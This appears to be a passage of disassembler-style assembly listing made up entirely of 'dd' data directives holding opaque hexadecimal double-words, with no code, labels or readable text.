		dd 0A9E064CCh, 0D820ED89h, 0A19A00F2h, 6B16AE6Fh, 54A7F30Dh
		dd 67452380h, 83E623Ah,	0BCF7ACAh, 501DD0F0h, 0DA6C50h
		dd 0B6AF60D2h, 0F614C992h, 0D65E053Dh, 4587C0D4h, 401DC7B6h
		dd 9AFA983Fh, 74D2363Eh, 83B1630h, 7CA6ECF6h, 619C1419h
		dd 17F07CDAh, 7D52BCE0h, 697403E0h, 430656AFh, 0D3C07C88h
		dd 180F9ADBh, 973CE8A8h, 3196190Dh, 0ABDD089Dh,	89558081h
		dd 0A3FDD6B3h, 0A3608C50h, 0DD065AC8h, 0AAF34051h, 0AD81B619h
		dd 0F60356E8h, 0BF361685h, 0F876A083h, 0B18C7A0h, 91A7CF67h
		dd 61AD8F9Ah, 94B7E478h, 861A08C3h, 0FCDDE1B3h,	8811E844h
		dd 7128E0B0h, 0DDCB2467h, 50929824h, 796320F6h,	37DA2590h
		dd 0C6703D58h, 6BE8F89Dh, 0B7B879C0h, 6A56B3h, 1876154Dh
		dd 94579798h, 1DD1DD3Ah, 3716CE9Bh, 0F7063B1Eh,	6108DCB3h
		dd 57718B2h, 2E20B6C5h,	18926110h, 0F0CFB997h, 41C74917h
		dd 0B7C1D8A1h
		dd 88EE2EAh, 3CFF51F3h,	67208AB2h, 300CB58Fh, 0A4267708h
		dd 0A71B4359h, 7E1FB309h, 181E7418h, 103D1397h,	0B40EDDF0h
		dd 98A2BB17h, 19DE3650h, 282BAA73h, 1D40BE9Ah, 77068517h
		dd 60383C4Eh, 65B70868h, 0F6E8B4A5h, 8F182E65h,	0C0E182A0h
		dd 0EED33708h, 503097B6h, 295A4084h, 6F26E8B8h,	0E4A0301Bh
		dd 0CCC3B0F8h, 1504C277h, 0FFB28C1Ah, 831836C0h, 31931702h
		dd 769403CEh, 783E1AF7h, 0A14066B0h, 7C55F008h,	35D73105h
		dd 0FC0F050h, 32722602h, 9600BFD4h, 58B8159Bh, 0B8633817h
		dd 77A0F841h, 50C61C34h, 0F3E0F912h, 8D3128BCh,	9827F431h
		dd 5710D2C8h, 9843F563h, 0A9291F68h, 72143C43h,	0F01BCC04h
		dd 0F1100803h, 4C80BD30h, 6D418A43h, 6A00F4E6h,	0A504C4F9h
		dd 8E75BFh, 0C9B9F6DBh,	7378BA0Eh, 7181B53h, 5F6C388Dh
		dd 0AE753900h, 7A4F00B5h, 0BEA31DB3h, 1CA51949h, 9F989A83h
		dd 2D1888DCh, 2BBC0001h, 4BC2C428h, 7DFE1CD3h, 9E60C57Ch
		dd 2C3C2120h, 0A7623803h, 0AB1E01D8h, 0DFE200A8h, 9DE7C2CBh
		dd 0E1B32500h, 22121485h, 67E0C0CCh, 1BD21B1h, 0E238F666h
		dd 3E81F0E2h, 410F6937h, 0E1005A36h, 62120B27h,	281DF7FFh
		dd 82003804h, 0BD5702D5h, 3019059Eh, 202CCDA2h,	82FE6554h
		dd 183BA20h, 0E489F941h, 98338A5Ch, 0FD4058B0h,	0CBD87A0h
		dd 0E98C2B62h, 10C05361h, 0DDD40878h, 8100A9CEh, 0DCE7F6A0h
		dd 60E46FF2h, 3D57FBC1h, 8B040F83h, 450635E8h, 8C0FBCA1h
		dd 33420A7h, 0CEDEE102h, 57E10D08h, 4A1ABA7Dh, 16250024h
		dd 1A7D195Ah, 0C0C1002Dh, 0DF4478A9h, 3A0CB230h, 887A96F4h
		dd 0E0140076h, 67E1B40Eh, 350071DEh, 5CBBF377h,	29CB8D32h
		dd 0C01C8478h, 80A5E568h, 317DF40h, 0B25354C2h,	72A3520Ah
		dd 0C3C44110h, 9DDE1CF0h, 3FC0F20h, 0C2F960B7h,	5C987F3Ch
		dd 0F500DD52h, 0D779125Eh, 5645E48Fh, 138028CDh, 0D1546446h
		dd 767E722Dh, 4A8502C9h, 0A6603D25h, 0F9009BEDh, 0A1C9D620h
		dd 12C861Bh, 0A7A885Fh,	80D0B68Bh, 0D209DD38h, 1D69CA85h
		dd 0E11CB356h, 0D425C8E0h, 3D03F98Ch, 8A8E60A0h, 4A08D960h
		dd 0E5B35CDCh, 4502204Eh, 0D31CCD35h, 10CB1D03h, 0F0C59C30h
		dd 7101CCC6h, 387D80EEh, 67B4AC02h, 40B97F6Fh, 0F0B22235h
		dd 0F827C91h, 0B7F10507h, 0E20DB300h, 8C3DAB5h,	8FC82895h
		dd 0E893B81h, 3723C0h, 17D2F6D6h, 746E616Ch, 1F076D77h
		dd 993C89CEh, 2527B410h, 87B907C4h, 43B219BCh, 0A7E278CCh
		dd 7B791C0h, 0E50E33FAh, 804B03D5h, 0C8D45215h,	341E52F5h
		dd 851560C3h, 9C001EEAh, 29C8A8B9h, 60181F35h, 6870811h
		dd 89CF7803h, 79D56F7Ch, 1E0A74E0h, 9F927h, 0E2C9DB47h
		dd 945FE855h, 2842F0A8h, 3DDB9C0h, 0DC8079E5h, 40E3633Fh
		dd 0F039AE2Fh, 7B2053Eh, 98788F6Fh, 74710C08h, 0BC4866A2h
		dd 0B46DC203h, 1012EEE7h, 1E1FC0A0h, 0C70C13DEh, 0E3E7085Bh
		dd 0B23EDC10h, 3005A737h, 0E71DA2C3h, 0F8380B86h, 0C009C00Fh
		dd 587B496h, 0DAA8E463h, 49381831h, 0C2D3B0BBh,	7E59C8A0h
		dd 0A07B90Ch, 627388A3h, 485308A1h, 25401040h, 205638CCh
		dd 0A2843107h, 0F0266F40h, 20DFD3E7h, 6710C818h, 0C031CCD0h
		dd 3A3327A8h, 0C65D035h, 37BAE750h, 3860B610h, 0E5602E98h
		dd 5AEB3F95h, 0E92D589h, 10E34003h, 0BAB175A1h,	12582010h
		dd 78944895h, 7A159714h, 0D427ECh, 0E78D1E1Ch, 0C4943135h
		dd 826C71C0h, 9C821A80h, 8497A87h, 102E221h, 0BAAC8320h
		dd 45181914h, 8A6BB82Bh, 0B0340720h, 36F58705h,	0B00DB40Ah
		dd 8C92670Ah, 34A4C700h, 642775E5h, 81D90831h, 247855A4h
		dd 0D0C670ACh, 0F8088C35h, 0E7A20734h, 43A11875h, 28319EF5h
		dd 53D51915h, 6C3728BEh, 81C1C408h, 40AD359Ch, 0FC4B588h
		dd 0D45308C4h, 1A02609Eh, 63A50B3Ch, 1E12FC01h,	2937C08Ah
		dd 0D45A09D8h, 0ED045C3Ch, 3973478Fh, 9E5CC080h, 18C8DCDEh
		dd 6B32F888h, 3FA7B909h, 11040233h, 50D4B0C8h, 0EC60C5C5h
		dd 2C2C2043h, 9E31F36Bh, 0B43C987Bh, 24075030h,	0F0F0C55Ch
		dd 7C0081F9h, 4D4070Ch,	0A191139Ch, 0A82009F0h,	938E3287h
		dd 0FC435208h, 0B2286BC0h, 6420C724h, 0CF506701h, 24D18578h
		dd 1528CF0h, 42C6C1F1h,	0CC0C9493h, 2F07DEB3h, 0CCB6715Fh
		dd 4A761990h, 7BE40CD7h, 0C5088645h, 0B7D9C305h, 202C6ACCh
		dd 4CFF08EBh, 0AA1E0E84h, 657B3400h, 7AA899E3h,	1F93780Ch
		dd 36866A5h, 0B7CC0105h, 289657E2h, 71C83F00h, 76186F82h
		dd 648008Ah, 89C112D1h,	703092DEh, 0B6B1087Ah, 8024A7ADh
		dd 41CEBB47h, 76011EB8h, 0A85EF9EAh, 184B564Ch,	81A41C78h
		dd 0CAB4332Bh, 9F306C8Dh, 12327B0Ch, 412A300Fh,	300F9Bh
		dd 7D8B3A60h, 7B76A2B5h, 0A84B2B0Ah, 855C60CCh,	902260Ah
		dd 6D6A76A4h, 90A48038h, 3CCA8E8h, 2578BA51h, 85E073E2h
		dd 20CC6736h, 3C50830h,	6CA85935h, 2CA05D7Dh, 0D0CAB5D0h
		dd 0E8238438h, 0A92C6860h, 78E4612Bh, 0F031C04Ah, 135CB032h
		dd 0DA051426h, 0D7E014F0h, 802637E8h, 18F19B83h, 183F3978h
		dd 2490C827h, 0C08E648h, 286BC225h, 78AC3A59h, 0B8879118h
		dd 11805A41h, 33E5F070h, 803886B2h, 0A2050815h,	6545F0C4h
		dd 534E1251h, 0FE400A96h, 0A147F8F4h, 99B96214h, 48A0CC4h
		dd 5639E064h, 7C00C85Eh, 0CE60949Ah, 9300D1BCh,	40AE8FAAh
		dd 1F76AB0Ah, 733636Eh,	407D8336h, 0DEB9DFB6h, 0EB0C23FAh
		dd 8D55966h, 0F90C40D9h, 0D1299903h, 0E0FE7416h, 0F88E0F79h
		dd 0BEB00339h, 0BA1CF501h, 0CB5E75A1h, 5A7F15C0h, 0BF0E18CFh
		dd 0D7C3B51Ch, 0F62FC72h, 12939C08h, 4925C04h, 0BC03C97Ch
		dd 3CE00C7Eh, 20C2FA4h,	10CD9475h, 0E7A00040h, 0BF223836h
		dd 44098A7Ch, 809A77F8h, 33DA89ADh, 92323111h, 1A4E7C30h
		dd 2D6BEA00h, 0D211395Fh, 2288E01h, 5DF49D95h, 3E1E1C4Fh
		dd 507848EBh, 28997205h, 10C61020h, 0DBFC3194h,	0E0AF1288h
		dd 59C41C72h, 4B3C4CBCh, 4A20377Fh, 1B0EBD5Dh, 90F078D4h
		dd 40EF2FBBh, 96877A08h, 80A9DCF8h, 0A14C4CB1h,	9EA65908h
		dd 0D9D200E4h, 0AC350169h, 605E4A23h, 0F335DCE8h, 80F478A1h
		dd 0B72EF538h, 874FFC5Dh, 61EA3581h, 8453E5F0h,	5A711579h
		dd 7DA26CF3h, 0D17F9581h, 4084413Ah, 0DD5AF098h, 557C01F2h
		dd 1B246A55h, 6B8400D4h, 8B7FC74Fh, 0C3527110h,	0CCC23A48h
		dd 875B4020h, 0F93C817Ch, 88D2AF35h, 0AFEF2C0h,	637C1B75h
		dd 0DCC250F1h, 45414481h, 9808505Eh, 94AD721Ah,	0AEB6FE82h
		dd 89221DDh, 6905EB7h, 0C1AF0308h, 163215D9h, 0DEE084B7h
		dd 126143C7h, 0B83ED261h, 782CF9A9h, 0A00C8E49h, 0A0348896h
		dd 0A3BCAFE6h, 0E19E0F20h, 0A0A06EC7h, 68361210h, 2494C0A1h
		dd 8278DB08h, 514DD515h, 2880A04Ch, 4911629Ch, 5C480AB2h
		dd 44935140h, 0B779DFC0h, 38AF6089h, 72951F52h,	4B63DC15h
		dd 0E68CE0B4h, 399A6173h, 305F24F2h, 5157414Ch,	0D9278180h
		dd 39A0CD49h, 385E62E8h, 70B44B6Eh, 10230C39h, 3209ACA7h
		dd 98AD8133h, 37700CE8h, 68475100h, 61D64C70h, 6318006Eh
		dd 0F0A798AEh, 0AA3D89A5h, 1101FEC9h, 0B6FC48Dh, 1C4846F5h
		dd 0FFEFED2h, 9956CA02h, 8AA0446Fh, 0D56F314Ah,	0E0835121h
		dd 3810057Eh, 0E7706260h, 208A46F9h, 9121DF0Ah,	71EDE081h
		dd 7E60E610h, 4AB08738h
		dd 0C4EA748Ah, 3C82D170h, 57F208DEh, 270067C2h,	0A899F7Ah
		dd 0EA08C617h, 0CA2B80F3h, 0A16078C8h, 0ED13B123h, 9DC74884h
		dd 0F5350FA5h, 16DBA078h, 730A2078h, 0C71EE1B0h, 9F586E5Ch
		dd 0F8AF0B08h, 86260083h, 0D82AED22h, 0FB00C3F9h, 7BA832B7h
		dd 0E473BDh, 0F12BE7E3h, 2E5CC8CEh, 43386962h, 3D7E1E25h
		dd 0D5123300h, 17912B7Dh, 0AE5C01C9h, 39827FFh,	3F030F22h
		dd 0E444D1E3h, 73B17001h, 77EE5C61h, 0A62D098Fh, 48F80E06h
		dd 8087C373h, 0E00F8220h, 2B08E84Eh, 3E601551h,	8E0A3BBAh
		dd 0D07C27FDh, 0E51839CDh, 71404F38h, 0F888ED31h, 0ADF02D34h
		dd 929E184Ch, 0AF113873h, 36F83D62h, 0A083C2Dh,	866780D5h
		dd 0A83A0631h, 742D372Bh, 46EB4740h, 0D1D0A8ECh, 0AE38C26Bh
		dd 70B6288Bh, 5CC71126h, 0E9F1A830h, 4063813Eh,	0CA514E90h
		dd 4F9B4A1h, 885783Ch, 6DDFC69Dh, 48A6910Ch, 2ED8400Eh
		dd 7CBD502Bh, 0CE82D749h, 1440D613h, 0FF0566B1h, 0BDC3CE5Ch
		dd 74E57C68h, 0D356332Bh, 74835138h, 7C387868h,	6482B0D3h
		dd 3888F7ACh, 0EE050771h, 7468B525h, 517D1802h,	751139AAh
		dd 232F03E3h, 13E0C3E9h, 89399DFAh, 5172D431h, 5CA02E42h
		dd 18615383h, 70A5D139h, 8EADD442h, 10818C94h, 6E4D40EEh
		dd 183C7832h, 8E98403Dh, 1210DDA5h, 4EDC0690h, 0EE240860h
		dd 0FEF810DFh, 278B31E1h, 4108F179h, 0BAB42E94h, 38371868h
		dd 0AF28C070h, 0C4EC019Ch, 209A81B9h, 97289150h, 6831F037h
		dd 3E10836h, 8CC93101h,	0C0048C58h, 2FC9CC6Ch, 0DC2B0E18h
		dd 1CC0B028h, 404D7CC9h, 5D32B1D9h, 0BEC7F0A4h,	6B2D02B0h
		dd 7A2C7B5Eh, 8CCE2441h, 78068891h, 88C7657Ch, 17987CC0h
		dd 63DE1518h, 0C4D77181h, 0C1102E48h, 3B6E00h, 0AD9E43h
		dd 0FF91FD7Ch, 0DE40D3A7h, 48B86C00h, 214E3E6Eh, 3F75730Eh
		dd 71F13777h, 13C614D7h, 0F4B01C99h, 0EB2066EDh, 0AD410022h
		dd 937E022Ch, 0DE1E0F99h, 1F3A9724h, 3E066410h,	3110630Ah
		dd 360865FBh, 691EF05Eh, 0CC3E5F40h, 9E284919h,	51889036h
		dd 7C5DF808h, 0FBE192Ah, 867F1862h, 0F3DC3E30h,	0F0AB3E20h
		dd 0EFE55E0Ch, 47CC110h, 4F67FE02h, 969CD3C6h, 0C2360064h
		dd 0A46D38B1h, 9666E175h, 19C88169h, 909C7B9Eh,	5ED0844Ch
		dd 0BE0D88E6h, 8DFAE1D8h, 0C87BFE88h, 0C60758F1h, 0E263E137h
		dd 2A2D9E10h, 6384ED09h, 0ABFEC8A6h, 7936087Ch,	180879F0h
		dd 0E82BF63Eh, 408163FCh, 0F0DD3998h, 0EE64819Eh, 0FE039808h
		dd 1031FF1Bh, 3A5190Fh,	84CA3894h, 0E8D67E14h, 0F09D9310h
		dd 2876A8A9h, 188463BDh, 40C5FE01h, 60C161ACh, 53C6DC9Dh
		dd 0B6802426h, 6F196356h, 6BA140C3h, 0AAD020C4h, 0DC9CDE12h
		dd 15F32878h, 0C4B72629h, 805BC118h, 0CB65451Eh, 0EC1DCC88h
		dd 8CAEE0Ch, 0ECDC579Fh, 0DA2BA181h, 686110E2h,	938CA1C2h
		dd 9D07645Bh, 6893A95Eh, 0BC248108h, 3DC160D6h,	8CF5D9A4h
		dd 0C0362139h, 0D7D12B7Eh, 1A8F4F54h, 9327CCE4h, 0A91587A4h
		dd 0E0D8E479h, 617E521Fh, 54E17194h, 0AE3C207Dh, 0D8087968h
		dd 0FC550A54h, 4FF89CFEh, 9F78236Ch, 9F745456h,	0BCF8953Eh
		dd 98A11EACh, 0BE98E8E4h, 0C4298B78h, 82F48210h, 0D88EFC1Ch
		dd 4CCD885h, 78D6A9DCh,	0E9AC1867h, 0BAC1994Ch,	0F324687Fh
		dd 9300E435h, 781A22F8h, 1D9C00EAh, 0A7BBAA0h, 0AA00617Fh
		dd 3D14B919h, 89DC0Fh, 0CD5F51DEh, 0E41F50ADh, 569E1CA5h
		dd 6B42CE44h, 0D853FC00h, 1103BF51h, 0BE3F745Bh, 0F3081E6Eh
		dd 55023EFAh, 0E3DF508Fh, 0B0042896h, 1509BD52h, 38FE981Fh
		dd 88C4CCDFh, 0CC3DE69Fh, 37200EDBh, 0E9BC0012h, 0B7A31DE4h
		dd 4100F7AEh, 5F74B4EBh, 1D5195C0h, 73D25FFh, 0C1DC5E7Fh
		dd 81BD989Fh, 0F74CAE08h, 3086AB61h, 80C99B3Fh,	88E58A28h
		dd 0BF8CF950h, 640FCE41h, 0BF98993Ah, 205C9117h, 0A1F7B107h
		dd 0E143AFFAh, 0D1091FFFh, 5AC1041Dh, 600F0CAEh, 0C5B579DFh
		dd 7876E878h, 3A15AEC0h, 3BDC0D62h, 0F7B4867Ch,	0E958BF01h
		dd 816818DBh, 421608Ch,	0B91410DDh, 0EA9F08D4h,	7D160106h
		dd 4BC55F50h, 6D9F0E34h, 1CD11867h, 48836346h, 0B030E161h
		dd 751FB868h, 0FF740AB3h, 0F0D8ABBCh, 0E500B352h, 0F6BDD3Bh
		dd 0A1B0133Ch, 488408D4h, 34017B9Fh, 0B82EB46Ch, 0C3D3E805h
		dd 8A3DDC48h, 0B574F81Ch, 0ABA21F85h, 1862A078h, 0D929B464h
		dd 47514EFCh, 8878A3CCh, 0E3A243C0h, 78DC6F6Eh,	2B4750DEh
		dd 0A2607CB9h, 89286B91h, 1F705EBCh, 0F358CE4Fh, 48CF5C31h
		dd 0BF2B1416h, 883D606Ch, 0DA61E515h, 17CD7C38h, 0BE06D842h
		dd 0AD090CF4h, 1C39D445h, 44F83D24h, 9F47814h, 63A9D7Fh
		dd 14086680h, 0D43444FFh, 0B859AA14h, 6A2C612h,	3868AEF4h
		dd 0C6F4724h, 70099218h, 7FF0A190h, 23FF0886h, 0E33E10DCh
		dd 793F08D7h, 0CC610D9h, 38ECB2BFh, 0C0D24889h,	60677B38h
		dd 50F08D8h, 0CA0C1F75h, 571B3862h, 4081C07Dh, 1073C607h
		dd 0CCDB703Ch, 0F8096F38h, 0D17F80C6h, 400EE8C8h, 0D4AFA0A3h
		dd 0AA74278Bh, 48C44A8h, 63873814h, 0DB7E8D8h, 8C96E026h
		dd 605AB1BDh, 88C4201h,	2818CDFBh, 0A0F06365h, 1890F07Ch
		dd 0C92194C8h, 1265B0FCh, 0F07C1F48h, 898C3C49h, 79FCD020h
		dd 71538D6h, 552FF15Ch,	8BDF03F8h, 701513D3h, 0E08C76EAh
		dd 20CA410Bh, 5C10DED0h, 6C181258h, 8903E8E4h, 78D908CAh
		dd 2A4EA3D8h, 14B0187Dh, 0D8DFBD7Ch, 1F2B0D20h,	0A9607C14h
		dd 0C461E8F8h, 81D51C41h, 4120BF68h, 5FDD3FD0h,	14F05080h
		dd 6DC1D012h, 80DA1C0Ch, 0F09B551Fh, 80104FCEh,	834C8E31h
		dd 18155FAh, 2A3FB88Dh,	0BA2C3140h, 8103150h, 2920DE7Fh
		dd 8C5FE91Fh, 0D1B3EC03h, 980DCC1Ch, 487324FCh,	5AFF598Dh
		dd 52ECD1E8h, 40401898h, 5C48E47Fh, 29171BA4h, 0CC91BD08h
		dd 0A45E95F8h, 4A84F803h, 0C87EFBDAh, 0A472CE28h, 0E0A038D1h
		dd 3181DD92h, 0BC38E62Fh, 0E5FF0117h, 779C6C04h, 69C4BB08h
		dd 0E85C0CC5h, 4CBBCC39h, 156A20E0h, 8CCA500Ch,	0ADE22B7Ch
		dd 588406Ch, 8A051C2h, 0E1181816h, 7C78F8A2h, 94FF5009h
		dd 372EB027h, 0A210151Fh, 7CB48F47h, 31B9F89Fh,	1C48E4DAh
		dd 0F8506439h, 3BDC89Ah, 3860C13Bh, 0E2501309h,	1109C0C7h
		dd 31D3211Fh, 331E3274h, 930E3509h, 0F304DFC8h,	9B004640h
		dd 2AD324FAh, 15F8CB74h, 0AF10CD63h, 5893E013h,	0CC9D0EA9h
		dd 0AC837365h, 2CC05BF5h, 980C6CC2h, 8E6BB8Ch, 1F6D780Eh
		dd 0C6F41CCh, 0EC20A62Ch, 99EABB1Fh, 0D3D87700h, 525ABDh
		dd 0F10A95D4h, 7B38AD03h, 8E64B28h, 3499E300h, 6B45868h
		dd 0B5CA307Ah, 98EAFD78h, 8CEEEE8h, 80108FECh, 99C2776Ch
		dd 305D524Ch, 3B715BC1h, 0DA518CF5h, 2B4CA07Fh,	401CC16Dh
		dd 0AF9D8B61h, 88BA01F9h, 670CD08Ch, 56438C70h,	540EE5C3h
		dd 6837FA8h, 0C2641A15h, 0DAF7E080h, 0A1406105h, 561028FAh
		dd 0C2138B8h, 96E3EF57h, 0A17FC7D2h, 0CF681B56h, 442E8667h
		dd 53A7769h, 2A4C9D13h,	0F9686801h, 0A1710800h,	9A06B3A6h
		dd 0ECA0C2FBh, 6CB4C5FEh, 3DBE5614h, 8A7A1038h,	1183EC0Eh
		dd 812A0C84h, 0BC6C4C18h, 198B1408h, 18A512ECh,	6ACD2004h
		dd 79C5D105h, 0A668E484h, 1959BE20h, 681F33DAh,	0C00C2774h
		dd 2799D9A9h, 0F081516Ah, 74A12BEFh, 0DF24E0F0h, 39C4981Fh
		dd 4C03831Ah, 0D82B1E97h
		dd 0ECE08CCCh, 0A85EF304h, 48C2FAA8h, 0CE2BA09Dh, 27E36074h
		dd 39DFD171h, 189EA0C8h, 0E52C0844h, 88A89C51h,	0AE1EC11h
		dd 1EB0630Ch, 0CC18602Ch, 0AE20E6B9h, 636CF86Eh, 2DAC18FDh
		dd 85322878h, 837C38E7h, 0A4788CC4h, 86FFD06h, 446C7620h
		dd 6D407CAFh, 60ED56F5h, 0C1077980h, 9CA01573h,	63505F3Ah
		dd 0B8AF7298h, 37C19B81h, 9A000BDBh, 4098B2A9h,	0C0B4C957h
		dd 0EBB9DFFCh, 7A38C810h, 0B1110C85h, 0B37BF404h, 602D20C2h
		dd 0FB854C28h, 12A0188Ah, 0C8D215E8h, 3DFE92F0h, 60C212E4h
		dd 409D86DAh, 93012BDCh, 85E3C03Ch, 12441FBAh, 38B566D1h
		dd 8E48A127h, 0D6637808h, 30138B99h, 8CA0EF20h,	98AFC11Ah
		dd 94254802h, 1A14485Dh, 6CF0C56Bh, 0CF987CC3h,	0E05D1008h
		dd 3EFA0911h, 460E40BEh, 0C87B280Eh, 0A2710181h, 2738361Eh
		dd 6E2FC1BCh, 39894ED6h, 2889D23Ah, 424188Ah, 8221CBACh
		dd 38405A40h, 30B2E2CCh, 4C5C3649h, 0F31062D0h,	0A84BCEDh
		dd 7EC449DAh, 729A80B4h, 15F61ECCh, 6C248C90h, 5391A045h
		dd 8740443Ch, 57F29C40h, 0F8198EDh, 11E6A88Dh, 7460BA7Ah
		dd 0F05D424Ch, 283DF7A4h, 1D4BD11h, 1EC7213Ah, 42C8AB56h
		dd 0C0BE61D8h, 8200288Ch, 0E70C822h, 4DE1D8C3h,	5212D850h
		dd 581C056Ah, 852869F3h, 1517F590h, 4B7A2021h, 0B0136C00h
		dd 66A2CCA0h, 0F5E2D0F1h, 458EB0C4h, 18737706h,	9CC1362Bh
		dd 2328A8CCh, 0DA0C0FBEh, 58866941h, 0F912F837h, 87C0834h
		dd 107D2C06h, 0EEDC2818h, 946528E0h, 8026FD8h, 10D34F86h
		dd 0E02BCB28h, 0F6946E49h, 98ED11F0h, 6EBA820Bh, 1F006168h
		dd 90ECF09Dh, 36251937h, 98BE8580h, 26CF0210h, 45961C69h
		dd 0A8726C4Dh, 0C51E06D0h, 4269020h, 8762A0C0h,	828D2438h
		dd 4448B56Ch, 0B8C6EF31h, 3120A3DDh, 8E10A123h,	99208C97h
		dd 40B218D5h, 28646704h, 9092F610h, 0A0B84F73h,	561811B8h
		dd 0B71A840Eh, 45FB8C05h, 0D3544ECh, 90E099B8h,	1E333610h
		dd 488C6CE8h, 3C203E77h, 0E9C57890h, 9C065BC5h,	2A18587Dh
		dd 509486D9h, 6234A49Ah, 9467B895h, 0E8E0DE06h,	4CD0C38Fh
		dd 8831290Fh, 0D7ACE87Bh, 1D6CE441h, 155C7C05h,	492E0442h
		dd 2CFA00BCh, 0CEC662B0h, 465F8207h, 8641C592h,	66E09FCCh
		dd 1F9B7C43h, 7560D26h,	0C0F5E5E6h, 622D2906h, 574D8F0h
		dd 23F4661Eh, 0E1CF2606h, 90C13010h, 63BF7908h,	0D60752F8h
		dd 607F3729h, 0BD2F5F70h, 0A74600D9h, 63386270h, 130122B9h
		dd 9BD40F6Ch, 90994E2Dh, 0B17199F6h, 73665141h,	0C381030Fh
		dd 9C2E7BCFh, 12C6BB31h, 0B466038Fh, 5186A831h,	504F77A6h
		dd 2A82120Ah, 845B4228h, 0EFD68600h, 37060062h,	71E663CDh
		dd 92007674h, 8A43EAF1h, 0B664BA1h, 1C451BABh, 4F394880h
		dd 7900E6BEh, 43BB5671h, 7403EBFCh, 0AF8B1F42h,	0E2EA4659h
		dd 561F18F3h, 8C0E8F1Eh, 0CA0B835Bh, 0CDCBC1B1h, 61EB0887h
		dd 0A42BC2FAh, 490C4B00h, 0E4CB2980h, 0DA396044h, 0BC467B7Fh
		dd 380DB618h, 60A7058Bh, 0E4560C88h, 0B875C696h, 0ABE807E4h
		dd 6B089261h, 188F29FBh, 2BC625C4h, 0EB0108CFh,	6B8FA7D7h
		dd 0B08C676Ah, 90E00582h, 29803A3Ch, 77E25C09h,	0EFF638F0h
		dd 0CCAB9CA0h, 0F14EA4A8h, 0D7304BF0h, 3BDF6899h, 0A70B7180h
		dd 57AC886Ch, 0D60FD144h, 96C8C88Ch, 0A1A83A52h, 8509453Fh
		dd 0A8CA3641h, 0E423CC04h, 2A3AE805h, 41D414B0h, 0FD16C444h
		dd 8D0B0480h, 848C97Fh,	0E8EB0402h, 0C78A9895h,	76604C46h
		dd 188FB257h, 485C12ABh, 58D01E98h, 9BAA894h, 0E7FA6C34h
		dd 82A85C23h, 597D3819h, 9885FD50h, 783BC1CBh, 3D099A98h
		dd 23D75804h, 681D963Ch, 0F0903848h, 729C3A8h, 969E688Ch
		dd 0E6843BD5h, 5CFC2B70h, 0A4F68AACh, 7010DB78h, 0F8886237h
		dd 70A4D60Ah, 52505CF8h, 361C1CA0h, 0AA89BA5Dh,	0E402B04Eh
		dd 5440B765h, 8C9CAB2h,	0EB5C017Ah, 305AFB83h, 63179862h
		dd 667C1638h, 50DD40A4h, 93476B12h, 70FDC00Dh, 402790D1h
		dd 4C6CB8D8h, 1B76248Eh, 3F5189F0h, 93BD4404h, 101B61B4h
		dd 0A4B86F6Bh, 0B0C06B8h, 2A705B49h, 4F08A663h,	0A4F030A8h
		dd 69E2EB08h, 932B1890h, 0FFC2743Ah, 0CA563864h, 40BA2B80h
		dd 2A500708h, 1F514A0h,	20992C96h, 34AE715Bh, 0F8AFBE30h
		dd 0BC2380A0h, 0C0B68C33h, 85244B70h, 6F1854ABh, 8077EB08h
		dd 89487F8Bh, 96FE18F4h, 0E99A9878h, 0A05472F8h, 0C6BC73F8h
		dd 8091598h, 9406D128h,	0D5CF64Ch, 10CD6FCBh, 4098CFE5h
		dd 2EBD084h, 0BD48C163h, 44283AC2h, 29643640h, 0C1F8F08h
		dd 0CF282DEFh, 63D42E50h, 0B32B08CEh, 0F30E8446h, 0F4133720h
		dd 28D69638h, 18768532h, 742C6969h, 490B0C30h, 0D231E409h
		dd 4097AB08h, 1ECD2BE4h, 844F8CCh, 8B59406Bh, 8DF87354h
		dd 373150B2h, 0A7E320A5h, 0CC44103h, 4083193Ah,	0D0A2DEA9h
		dd 4B28BC0Ch, 40C679B0h, 3368673Bh, 0AD106A10h,	0E3BF191Bh
		dd 8B100C91h, 0A598110Dh, 0D6CB28C3h, 313818F8h, 0E18908FAh
		dd 0E41918DCh, 1437BB30h, 7F1138D4h, 8096CF63h,	27D509FCh
		dd 0D48C39ADh, 351E9C3Ch, 140871B6h, 0AC75E088h, 658A61BDh
		dd 81B5A0C3h, 6195F0FFh, 3BD5101Ah, 1C15F001h, 8349F580h
		dd 90DDEFA1h, 0D50C9430h, 0F2487716h, 0D1408CF5h, 0C3283878h
		dd 0B527508h, 701E1831h, 11904E35h, 5C151C08h, 39F03020h
		dd 75941E20h, 0CE89F500h, 447DFC83h, 2DF400B6h,	161593A5h
		dd 8E3BC197h, 28BA802Ah, 6084D374h, 0B5F8C358h,	8019EB0h
		dd 348CB4E5h, 3001B320h, 0D4F89413h, 763C7484h,	0F551BD7h
		dd 2A28E3D8h, 3D889609h, 35949534h, 24B04468h, 0CD22C21Dh
		dd 40774030h, 8C903E02h, 83FE0214h, 37E565B8h, 0C28817E0h
		dd 87039E1Dh, 36A81E85h, 0F2950747h, 9315C1EDh,	468447F4h
		dd 2B6D900Ah, 881B3088h, 2CBA010Ah, 65A04044h, 54128C8Fh
		dd 80A1694h, 0B50AAC23h, 52786885h, 80078EDFh, 0B48CA1BDh
		dd 2BB81CD6h, 4C24A381h, 0C3471990h, 18A3E010h,	9450AE34h
		dd 908350BDh, 0B8DB507Bh, 0F5F0C37Eh, 0F824B3E2h, 23923015h
		dd 141B087Ch, 824CB2Bh,	140C0502h, 84A26125h, 20B49541h
		dd 78681A03h, 36B9D7EEh, 0E03037F0h, 0A7603885h, 29D2079h
		dd 0C084D491h, 0D8BC9462h, 8B46AA06h, 24308D5Eh, 0F8342A20h
		dd 0CB1B5742h, 8230A385h, 83889F1Dh, 359AC77Fh,	7024D5C3h
		dd 0E5F9041Dh, 8B96E8h,	7CCE76D3h, 70EB165Bh, 81096961h
		dd 0C1EFD168h, 2C60B5EFh, 0D62D00EEh, 0FBA4F0C4h, 27309650h
		dd 0E9EC305Ch, 0A138C06Ah, 0C7B5909Bh, 0AD000CFEh, 4B1163B4h
		dd 1D60936h, 8103ABA5h,	706DB70Dh, 700DF30Eh, 410C64CBh
		dd 58E84BDCh, 0FD071476h, 0B1960474h, 0F04CFF68h, 9C000839h
		dd 0D7987C2Dh, 38063187h, 78F553Fh, 0F0603209h,	89EF5F8h
		dd 0FBBB993Ch, 278CE400h, 0E604A9A6h, 0E05D0012h, 0AB5735C6h
		dd 0A50C8389h, 81EC03B3h, 6EEA0087h, 71A3D759h,	3F1E4273h
		dd 3AC0E319h, 0FC3BD15Ch, 369E036Fh, 0D80111ABh, 9BFD3900h
		dd 43282C2Bh, 19DB0040h, 67D4A182h, 701F8BEDh, 54C003E3h
